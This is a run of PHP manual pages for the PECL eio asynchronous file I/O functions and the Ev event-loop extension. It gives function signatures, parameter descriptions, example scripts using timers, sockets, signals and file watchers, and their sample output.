eio_set_max_poll_time

(PECL eio >= 0.0.1dev)

eio_set_max_poll_time — Set maximum poll time

Description

void eio_set_max_poll_time ( float $nseconds )

Polling stops, if poll took longer than nseconds seconds.

Parameters

nseconds

Number of seconds

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set minimum parallel thread number

  • « eio_set_max_poll_time
  • eio_stat »
  • PHP Manual
  • Eio Functions
  • Set minimum parallel thread number

eio_set_min_parallel

(PECL eio >= 0.0.1dev)

eio_set_min_parallel — Set minimum parallel thread number

Description

void eio_set_min_parallel ( string $nthreads )

Parameters

nthreads

Number of parallel threads.

Return Values

No value is returned.

See Also

  • eio_set_max_parallel

User Contributed Notes

There are no user contributed notes for this page.


Get file status

  • « eio_set_min_parallel
  • eio_statvfs »
  • PHP Manual
  • Eio Functions
  • Get file status

eio_stat

(PECL eio >= 0.0.1dev)

eio_stat — Get file status

Description

resource eio_stat ( string $path , int $pri , callable $callback [, mixed $data = NULL ] )

eio_stat() returns file status information in result argument of callback

Parameters

path

The file path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_stat() returns request resource on success or FALSE on error. On success assigns result argument of callback to an array.

Examples

Example #1 eio_stat() example

<?php
$tmp_filename = "eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

function my_open_cb($data, $result) {
    eio_close($result);
    eio_event_loop();

    @unlink($data);
}

eio_stat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_stat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
 EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(8) "eio_stat"
array(12) {
  ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489173)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318250380)
  ["st_mtime"]=>
  int(1318250380)
  ["st_ctime"]=>
  int(1318250380)
}

See Also

  • eio_lstat
  • eio_fstat

User Contributed Notes

There are no user contributed notes for this page.


Get file system statistics

  • « eio_stat
  • eio_symlink »
  • PHP Manual
  • Eio Functions
  • Get file system statistics

eio_statvfs

(PECL eio >= 0.0.1dev)

eio_statvfs — Get file system statistics

Description

resource eio_statvfs ( string $path , int $pri , callable $callback [, mixed $data ] )

eio_statvfs() returns file system statistics information in result argument of callback

Parameters

path

Pathname of any file within the mounted file system

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_statvfs() returns request resource on success or FALSE on error. On success assigns result argument of callback to an array.

Examples

Example #1 eio_statvfs() example

<?php
$tmp_filename = '/tmp/eio-file.tmp';
touch($tmp_filename);

function my_statvfs_callback($data, $result) {
    var_dump($data);
    var_dump($result);

 @unlink($data);
}

eio_statvfs($tmp_filename, EIO_PRI_DEFAULT, "my_statvfs_callback", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(17) "/tmp/eio-file.tmp"
array(11) {
  ["f_bsize"]=>
  int(4096)
  ["f_frsize"]=>
  int(4096)
  ["f_blocks"]=>
  int(262144)
  ["f_bfree"]=>
  int(262111)
  ["f_bavail"]=>
  int(262111)
  ["f_files"]=>
  int(1540815)
  ["f_ffree"]=>
  int(1540743)
  ["f_favail"]=>
  int(1540743)
  ["f_fsid"]=>
  int(0)
  ["f_flag"]=>
  int(4102)
  ["f_namemax"]=>
  int(255)
}

User Contributed Notes

There are no user contributed notes for this page.


Create a symbolic link

  • « eio_statvfs
  • eio_sync_file_range »
  • PHP Manual
  • Eio Functions
  • Create a symbolic link

eio_symlink

(PECL eio >= 0.0.1dev)

eio_symlink — Create a symbolic link

Description

resource eio_symlink ( string $path , string $new_path [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_symlink() creates a symbolic link new_path to path.

Parameters

path

Source path

new_path

Target path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_symlink() returns request resource on success or FALSE on error.

Examples

Example #1 eio_symlink() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
string(16) "/tmp/symlink.dat"

See Also

  • eio_link

User Contributed Notes

There are no user contributed notes for this page.


Sync a file segment with disk

  • « eio_symlink
  • eio_sync »
  • PHP Manual
  • Eio Functions
  • Sync a file segment with disk

eio_sync_file_range

(PECL eio >= 0.0.1dev)

eio_sync_file_range — Sync a file segment with disk

Description

resource eio_sync_file_range ( mixed $fd , int $offset , int $nbytes , int $flags [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_sync_file_range() permits fine control when synchronizing the open file referred to by the file descriptor fd with disk.

Parameters

fd

File descriptor

offset

The starting byte of the file range to be synchronized

nbytes

Specifies the length of the range to be synchronized, in bytes. If nbytes is zero, then all bytes from offset through to the end of file are synchronized.

flags

A bit-mask. Can include any of the following values: EIO_SYNC_FILE_RANGE_WAIT_BEFORE, EIO_SYNC_FILE_RANGE_WRITE, EIO_SYNC_FILE_RANGE_WAIT_AFTER. These flags have the same meaning as their SYNC_FILE_RANGE_* counterparts(see SYNC_FILE_RANGE(2) man page).

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_sync_file_range() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Commit buffer cache to disk

  • « eio_sync_file_range
  • eio_syncfs »
  • PHP Manual
  • Eio Functions
  • Commit buffer cache to disk

eio_sync

(PECL eio >= 0.0.1dev)

eio_sync — Commit buffer cache to disk

Description

resource eio_sync ([ int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

Parameters

This function has no parameters.

Return Values

eio_sync() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Calls Linux' syncfs syscall, if available

  • « eio_sync
  • eio_truncate »
  • PHP Manual
  • Eio Functions
  • Calls Linux' syncfs syscall, if available

eio_syncfs

(PECL eio >= 0.0.1dev)

eio_syncfs — Calls Linux' syncfs syscall, if available

Description

resource eio_syncfs ( mixed $fd [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

Parameters

fd

File descriptor

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_syncfs() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Truncate a file

  • « eio_syncfs
  • eio_unlink »
  • PHP Manual
  • Eio Functions
  • Truncate a file

eio_truncate

(PECL eio >= 0.0.1dev)

eio_truncate — Truncate a file

Description

resource eio_truncate ( string $path [, int $offset = 0 [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]]] )

eio_truncate() causes the regular file named by path to be truncated to a size of precisely length bytes

Parameters

path

File path

offset

Offset from beginning of the file.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_busy() returns request resource on success or FALSE on error.

See Also

  • eio_ftruncate

User Contributed Notes

There are no user contributed notes for this page.


Delete a name and possibly the file it refers to

  • « eio_truncate
  • eio_utime »
  • PHP Manual
  • Eio Functions
  • Delete a name and possibly the file it refers to

eio_unlink

(PECL eio >= 0.0.1dev)

eio_unlink — Delete a name and possibly the file it refers to

Description

resource eio_unlink ( string $path [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

eio_unlink() deletes a name from the file system.

Parameters

path

Path to file

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_unlink() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Change file last access and modification times.

  • « eio_unlink
  • eio_write »
  • PHP Manual
  • Eio Functions
  • Change file last access and modification times.

eio_utime

(PECL eio >= 0.0.1dev)

eio_utime — Change file last access and modification times.

Description

resource eio_utime ( string $path , float $atime , float $mtime [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]] )

Parameters

path

Path to the file.

atime

Access time

mtime

Modification time

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_utime() returns request resource on success or FALSE on error.

See Also

  • eio_futime

User Contributed Notes

There are no user contributed notes for this page.


Write to file

  • « eio_utime
  • Ev »
  • PHP Manual
  • Eio Functions
  • Write to file

eio_write

(PECL eio >= 0.0.1dev)

eio_write — Write to file

Description

resource eio_write ( mixed $fd , string $str [, int $length = 0 [, int $offset = 0 [, int $pri = EIO_PRI_DEFAULT [, callable $callback = NULL [, mixed $data = NULL ]]]]] )

eio_write() writes up to length bytes from str at offset offset from the beginning of the file.

Parameters

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open()

str

Source string

length

Maximum number of bytes to write.

offset

Offset from the beginning of file.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback(mixed $data, int $result[, resource $req]);
data

is custom data passed to the request.

result

request-specific result value; basically, the value returned by corresponding system call.

req

is optional request resource which can be used with functions like eio_get_last_error()

data

Arbitrary variable passed to callback.

Return Values

eio_write() returns request resource on success or FALSE on error.

See Also

  • eio_open

User Contributed Notes

There are no user contributed notes for this page.


Ev

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Watchers
  • Watcher callbacks
  • Periodic watcher operation modes
  • Ev — The Ev class
    • Ev::backend — Returns an integer describing the backend used by libev.
    • Ev::depth — Returns recursion depth
    • Ev::embeddableBackends — Returns the set of backends that are embeddable in other event loops.
    • Ev::feedSignal — Feed a signal event info Ev
    • Ev::feedSignalEvent — Feed signal event into the default loop
    • Ev::iteration — Return the number of times the default event loop has polled for new events.
    • Ev::now — Returns the time when the last iteration of the default event loop has started.
    • Ev::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by Ev::now in the progress.
    • Ev::recommendedBackends — Returns a bit mask of recommended backends for current platform.
    • Ev::resume — Resume previously suspended default event loop
    • Ev::run — Begin checking for events and calling callbacks for the default loop
    • Ev::sleep — Block the process for the given number of seconds.
    • Ev::stop — Stops the default event loop
    • Ev::supportedBackends — Returns the set of backends supported by current libev configuration.
    • Ev::suspend — Suspend the default event loop
    • Ev::time — Returns the current time in fractional seconds since the epoch.
    • Ev::verify — Performs internal consistency checks(for debugging)
  • EvCheck — The EvCheck class
    • EvCheck::__construct — Constructs the EvCheck watcher object
    • EvCheck::createStopped — Create instance of a stopped EvCheck watcher
  • EvChild — The EvChild class
    • EvChild::__construct — Constructs the EvChild watcher object
    • EvChild::createStopped — Create instance of a stopped EvCheck watcher
    • EvChild::set — Configures the watcher
  • EvEmbed — The EvEmbed class
    • EvEmbed::__construct — Constructs the EvEmbed object
    • EvEmbed::createStopped — Create stopped EvEmbed watcher object
    • EvEmbed::set — Configures the watcher
    • EvEmbed::sweep — Make a single, non-blocking sweep over the embedded loop.
  • EvFork — The EvFork class
    • EvFork::__construct — Constructs the EvFork watcher object
    • EvFork::createStopped — Creates a stopped instance of EvFork watcher class
  • EvIdle — The EvIdle class
    • EvIdle::__construct — Constructs the EvIdle watcher object
    • EvIdle::createStopped — Creates instance of a stopped EvIdle watcher object
  • EvIo — The EvIo class
    • EvIo::__construct — Constructs EvIo watcher object
    • EvIo::createStopped — Create stopped EvIo watcher object
    • EvIo::set — Configures the watcher
  • EvLoop — The EvLoop class
    • EvLoop::backend — Returns an integer describing the backend used by libev.
    • EvLoop::check — Creates EvCheck object associated with the current event loop instance
    • EvLoop::child — Creates EvChild object associated with the current event loop
    • EvLoop::__construct — Constructs the event loop object
    • EvLoop::defaultLoop — Returns or creates the default event loop.
    • EvLoop::embed — Creates an instance of EvEmbed watcher associated with the current EvLoop object.
    • EvLoop::fork — Creates EvFork watcher object associated with the current event loop instance
    • EvLoop::idle — Creates EvIdle watcher object associated with the current event loop instance
    • EvLoop::invokePending — Invoke all pending watchers while resetting their pending state
    • EvLoop::io — Create EvIo watcher object associated with the current event loop instance
    • EvLoop::loopFork — Must be called after a fork
    • EvLoop::now — Returns the current "event loop time"
    • EvLoop::nowUpdate — Establishes the current time by querying the kernel, updating the time returned by EvLoop::now in the progress.
    • EvLoop::periodic — Creates EvPeriodic watcher object associated with the current event loop instance
    • EvLoop::prepare — Creates EvPrepare watcher object associated with the current event loop instance
    • EvLoop::resume — Resume previously suspended default event loop
    • EvLoop::run — Begin checking for events and calling callbacks for the loop
    • EvLoop::signal — Creates EvSignal watcher object associated with the current event loop instance
    • EvLoop::stat — Creates EvStat watcher object associated with the current event loop instance
    • EvLoop::stop — Stops the event loop
    • EvLoop::suspend — Suspend the loop
    • EvLoop::timer — Creates EvTimer watcher object associated with the current event loop instance
    • EvLoop::verify — Performs internal consistency checks(for debugging)
  • EvPeriodic — The EvPeriodic class
    • EvPeriodic::again — Simply stops and restarts the periodic watcher again.
    • EvPeriodic::at — Returns the absolute time that this watcher is supposed to trigger next
    • EvPeriodic::__construct — Constructs EvPeriodic watcher object
    • EvPeriodic::createStopped — Create a stopped EvPeriodic watcher
    • EvPeriodic::set — Configures the watcher
  • EvPrepare — The EvPrepare class
    • EvPrepare::__construct — Constructs EvPrepare watcher object
    • EvPrepare::createStopped — Creates a stopped instance of EvPrepare watcher
  • EvSignal — The EvSignal class
    • EvSignal::__construct — Constructs EvPeriodic watcher object
    • EvSignal::createStopped — Create stopped EvSignal watcher object
    • EvSignal::set — Configures the watcher
  • EvStat — The EvStat class
    • EvStat::attr — Returns the values most recently detected by Ev
    • EvStat::__construct — Constructs EvStat watcher object
    • EvStat::createStopped — Create a stopped EvStat watcher object
    • EvStat::prev — Returns the previous set of values returned by EvStat::attr
    • EvStat::set — Configures the watcher
    • EvStat::stat — Initiates the stat call
  • EvTimer — The EvTimer class
    • EvTimer::again — Restarts the timer watcher
    • EvTimer::__construct — Constructs an EvTimer watcher object
    • EvTimer::createStopped — Creates EvTimer stopped watcher object
    • EvTimer::set — Configures the watcher
  • EvWatcher — The EvWatcher class
    • EvWatcher::clear — Clear watcher pending status
    • EvWatcher::__construct — Abstract constructor of a watcher object
    • EvWatcher::feed — Feeds the given revents set into the event loop
    • EvWatcher::getLoop — Returns the loop responsible for the watcher
    • EvWatcher::invoke — Invokes the watcher callback with the given received events bit mask
    • EvWatcher::keepalive — Configures whether to keep the loop from returning
    • EvWatcher::setCallback — Sets new callback for the watcher
    • EvWatcher::start — Starts the watcher
    • EvWatcher::stop — Stops the watcher

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension provides inteface to » libev library - a high performance full-featured event loop written in C.

Note: This extension is not available on Windows platforms.

Libev is an event loop: one registers interest in certain events (such as a file descriptor being readable or a timeout occurring), and it will manage these event sources and provide the program with events.

To do this, it must take more or less complete control over the process (or thread) by executing the event loop handler, and will then communicate events via a callback mechanism.

You register interest in certain events by registering so-called event watchers, and then hand it over to libev by starting the watcher.

For details refer to the » documentation of libev

User Contributed Notes

There are no user contributed notes for this page.


Requirements

libev library is embedded into this extension. You don't need to install it separately.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ev .

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

This extension has no constants defined.

Most constants are moved to Ev singleton class.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Simple timers

<?php
// Create and start timer firing after 2 seconds
$w1 = new EvTimer(2, 0, function () {
    echo "2 seconds elapsed\n";
});

// Create and launch timer firing after 2 seconds repeating each second
// until we manually stop it
$w2 = new EvTimer(2, 1, function ($w) {
    echo "is called every second, is launched after 2 seconds\n";
    echo "iteration = ", Ev::iteration(), PHP_EOL;

    // Stop the watcher after 5 iterations
    Ev::iteration() == 5 and $w->stop();
    // Stop the watcher if further calls cause more than 10 iterations
    Ev::iteration() >= 10 and $w->stop();
});

// Create stopped timer. It will be inactive until we start it ourselves
$w_stopped = EvTimer::createStopped(10, 5, function($w) {
    echo "Callback of a timer created as stopped\n";

    // Stop the watcher after 2 iterations
    Ev::iteration() >= 2 and $w->stop();
});

// Loop until Ev::stop() is called or all of watchers stop
Ev::run();

// Start and look if it works
$w_stopped->start();
echo "Run single iteration\n";
Ev::run(Ev::RUN_ONCE);

echo "Restart the second watcher and try to handle the same events, but don't block\n";
$w2->again();
Ev::run(Ev::RUN_NOWAIT);

$w = new EvTimer(10, 0, function() {});
echo "Running a blocking loop\n";
Ev::run();
echo "END\n";
?>

The above example will output something similar to:

2 seconds elapsed
is called every second, is launched after 2 seconds
iteration = 1
is called every second, is launched after 2 seconds
iteration = 2
is called every second, is launched after 2 seconds
iteration = 3
is called every second, is launched after 2 seconds
iteration = 4
is called every second, is launched after 2 seconds
iteration = 5
Run single iteration
Callback of a timer created as stopped
Restart the second watcher and try to handle the same events, but don't block
Running a blocking loop
is called every second, is launched after 2 seconds
iteration = 8
is called every second, is launched after 2 seconds
iteration = 9
is called every second, is launched after 2 seconds
iteration = 10
END

Example #2 Periodic timer. Tick each 10.5 seconds

<?php
$w = new EvPeriodic(0., 10.5, NULL, function ($w, $revents) {
    echo time(), PHP_EOL;
});

Ev::run();
?>

Example #3 Periodic timer. Use reschedule callback

<?php
// Tick each 10.5 seconds

function reschedule_cb ($watcher, $now) {
    return $now + (10.5. - fmod($now, 10.5));
}

$w = new EvPeriodic(0., 0., "reschedule_cb", function ($w, $revents) {
    echo time(), PHP_EOL;
});

Ev::run();
?>

Example #4 Periodic timer. Tick every 10.5 seconds starting at now

<?php
// Tick every 10.5 seconds starting at now
$w = new EvPeriodic(fmod(Ev::now(), 10.5), 10.5, NULL, function ($w, $revents) {
    echo time(), PHP_EOL;
});

Ev::run();
?>

Example #5 Wait until STDIN is readable

<?php
// Wait until STDIN is readable
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
    echo "STDIN is readable\n";
});

Ev::run(Ev::RUN_ONCE);
?>

Example #6 Use some async I/O to access a socket

<?php
/* Use some async I/O to access a socket */

// `sockets' extension still logs warnings
// for EINPROGRESS, EAGAIN/EWOULDBLOCK etc.
error_reporting(E_ERROR);

$e_nonblocking = array (/*EAGAIN or EWOULDBLOCK*/11, /*EINPROGRESS*/115);

// Get the port for the WWW service
$service_port = getservbyname('www', 'tcp');

// Get the IP address for the target host
$address = gethostbyname('google.co.uk');

// Create a TCP/IP socket
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket === FALSE) {
    echo "socket_create() failed: reason: "
        .socket_strerror(socket_last_error()) . "\n";
}

// Set O_NONBLOCK flag
socket_set_nonblock($socket);

// Abort on timeout
$timeout_watcher = new EvTimer(10.0, 0., function () use ($socket) {
    socket_close($socket);
    Ev::stop(Ev::BREAK_ALL);
});

// Make HEAD request when the socket is writable
$write_watcher = new EvIo($socket, Ev::WRITE, function ($w)
    use ($socket, $timeout_watcher, $e_nonblocking)
{
    // Stop timeout watcher
    $timeout_watcher->stop();
    // Stop write watcher
    $w->stop();

    $in = "HEAD / HTTP/1.1\r\n";
    $in .= "Host: google.co.uk\r\n";
    $in .= "Connection: Close\r\n\r\n";

    if (!socket_write($socket, $in, strlen($in))) {
        trigger_error("Failed writing $in to socket", E_USER_ERROR);
    }

    $read_watcher = new EvIo($socket, Ev::READ, function ($w, $re)
        use ($socket, $e_nonblocking)
    {
        // Socket is readable. recv() 20 bytes using non-blocking mode
        $ret = socket_recv($socket, $out, 20, MSG_DONTWAIT);

        if ($ret) {
            echo $out;
        } elseif ($ret === 0) {
            // All read
            $w->stop();
            socket_close($socket);
            return;
        }

        // Caught EINPROGRESS, EAGAIN, or EWOULDBLOCK
        if (in_array(socket_last_error(), $e_nonblocking)) {
            return;
        }

        $w->stop();
        socket_close($socket);
    });

    Ev::run();
});

$result = socket_connect($socket, $address, $service_port);

Ev::run();
?>

The above example will output something similar to:

HTTP/1.1 301 Moved Permanently
Location: http://www.google.co.uk/
Content-Type: text/html; charset=UTF-8
Date: Sun, 23 Dec 2012 16:08:27 GMT
Expires: Tue, 22 Jan 2013 16:08:27 GMT
Cache-Control: public, max-age=2592000
Server: gws
Content-Length: 221
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Connection: close

Example #7 Embedding one loop into another

<?php
/*
* Try to get an embeddable event loop and embed it into the default event loop.
* If it is impossible, use the default
* loop. The default loop is stored in $loop_hi, while the embeddable loop is
* stored in $loop_lo(which is $loop_hi in the case no embeddable loop can be
* used).
*
* Sample translated to PHP
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop_hi = EvLoop::defaultLoop();
$loop_lo = NULL;
$embed   = NULL;

/*
* See if there is a chance of getting one that works
* (flags' value of 0 means autodetection)
*/
$loop_lo = Ev::embeddableBackends() & Ev::recommendedBackends()
    ? new EvLoop(Ev::embeddableBackends() & Ev::recommendedBackends())
    : 0;

if ($loop_lo) {
    $embed = new EvEmbed($loop_lo, function () {});
} else {
    $loop_lo = $loop_hi;
}
?>

Example #8 Embedding loop created with kqueue backend into the default loop

<?php
/*
* Check if kqueue is available but not recommended and create a kqueue backend
* for use with sockets (which usually work with any kqueue implementation).
* Store the kqueue/socket-only event loop in loop_socket. (One might optionally
* use EVFLAG_NOENV, too)
*
* Example borrowed from
* http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod#Examples_CONTENT-9
*/
$loop        = EvLoop::defaultLoop();
$socket_loop = NULL;
$embed       = NULL;

if (Ev::supportedBackends() & ~Ev::recommendedBackends() & Ev::BACKEND_KQUEUE) {
    if (($socket_loop = new EvLoop(Ev::BACKEND_KQUEUE))) {
        $embed = new EvEmbed($loop);
    }
}

if (!$socket_loop) {
    $socket_loop = $loop;
}

// Now use $socket_loop for all sockets, and $loop for anything else
?>

Example #9 Handle SIGTERM signal

<?php
$w = new EvSignal(SIGTERM, function ($watcher) {
    echo "SIGTERM received\n";
    $watcher->stop();
});

Ev::run();
?>

Example #10 Monitor changes of /var/log/messages

<?php
// Use 10 second update interval.
$w = new EvStat("/var/log/messages", 8, function ($w) {
    echo "/var/log/messages changed\n";

    $attr = $w->attr();

    if ($attr['nlink']) {
        printf("Current size: %ld\n", $attr['size']);
        printf("Current atime: %ld\n", $attr['atime']);
        printf("Current mtime: %ld\n", $attr['mtime']);
    } else {
        fprintf(STDERR, "`messages` file is not there!");
        $w->stop();
    }
});

Ev::run();
?>

Example #11 Monotor changes of /var/log/messages. Avoid missing updates by means of one second delay

<?php
$timer = EvTimer::createStopped(0., 1.02, function ($w) {
    $w->stop();

    $stat = $w->data;

    // 1 second after the most recent change of the file
    printf("Current size: %ld\n", $stat->attr()['size']);
});

$stat = new EvStat("/var/log/messages", 0., function () use ($timer) {
    // Reset timer watcher
    $timer->again();
});

$timer->data = $stat;

Ev::run();
?>

Example #12 Process status changes

<?php
$pid = pcntl_fork();

if ($pid == -1) {
    fprintf(STDERR, "pcntl_fork failed\n");
} elseif ($pid) {
    $w = new EvChild($pid, FALSE, function ($w, $revents) {
        $w->stop();

        printf("Process %d exited with status %d\n", $w->rpid, $w->rstatus);
    });

    Ev::run();

    // Protect against Zombies
    pcntl_wait($status);
} else {
    //Forked child
    exit(2);
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Watchers

A watcher is an object that gets created to record interest in some event. For instance, the following code waits for STDIN to become readable:

<?php
// Wait until STDIN is readable
$w = new EvIo(STDIN, Ev::READ, function ($watcher, $revents) {
 echo "STDIN is readable\n";
});
Ev::run(Ev::RUN_ONCE);
?>

All the watcher constructors automatically start the watchers. createStopped methods create stopped watchers(e.g. EvIo::createStopped() )

Note that a watcher will automatically be stopped when the watcher object is destroyed. Therefore, the watcher objects returned by the constructors or factory methods should be kept.

Note also that all methods changing some watcher property( set , priority etc.) automatically stop and start it again if it is active, which means pending events get lost.

See also: Watcher callbacks .

User Contributed Notes

There are no user contributed notes for this page.


Watcher callbacks

All watchers can be active(waiting for events) or inactive(paused). Only active watchers will have their callbacks invoked. All callbacks will be called with at least two arguments: watcher - the watcher, and revents a bitmask of received events.

Watcher callbacks are passed to the watcher contructors(the classes derived from EvWatcher - EvCheck::__construct() , EvChild::__construct() etc.). A watcher callback should match the following prototype:

void callback ([ object $watcher = NULL [, int $revents = NULL ]] )

watcher

The watcher instance(of a class extending EvWatcher ).

revents

Watcher received events .

Each watcher type has its associated bit in revents , so one can use the same callback for multiple watchers. The event mask is named after the type, i.e. EvChild (or EvLoop::child() ) sets EV::CHILD , EvPrepare (or EvLoop::prepare() ) sets Ev::PREPARE , EvPeriodic (or EvLoop::periodic() ) sets Ev::PERIODIC and so on, with the exception of I/O events (which can set both Ev::READ and Ev::WRITE bits).

User Contributed Notes

There are no user contributed notes for this page.


Periodic watcher operation modes

EvPeriodic watcher works in different modes depending on the offset , interval and reschedule_cb parameters.

  1. Absolute timer . In this mode interval = 0 , reschedule_cb = NULL. This time simply fires at the wallclock time offset and doesn't repeat. It will not adjust when a time jump occurs, that is, if it is to be run at January 1st 2014 then it will run when the system time reaches or surpasses this time.

  2. Repeating interval timer . In this mode interval > 0 , reschedule_cb = NULL; the watcher will always be scheduled to timeout at the next offset + N * interval time(for some integer N ) and then repeat, regardless of any time jumps.

    This can be used to create timers that do not drift with respect to system time:

    <?php
    $hourly     = EvPeriodic(0, 3600, NULL, function () {
      echo     "once per hour\n";
    };
    ?>
    That doesn't mean there will always be 3600 seconds in between triggers, but only that the callback will be called when the system time shows a full hour( UTC ).

    EvPeriodic will try to run the callback in this mode at the next possible time where time = offset ( mod interval ), regardless of any time jumps.

  3. Manual reschedule mode . In this mode reschedule_cb is a callable .

    interval and offset are both being ignored. Instead, each time the periodic watcher gets scheduled, the reschedule callback ( reschedule_cb ) will be called with the watcher as first, and the current time as second argument.

    This callback must not stop or destroy this or any other periodic watchers, ever, and must not call any event loop functions or methods. To stop it return 1e30 and stop it afterwards. An EvPrepare watcher may be used for this task.

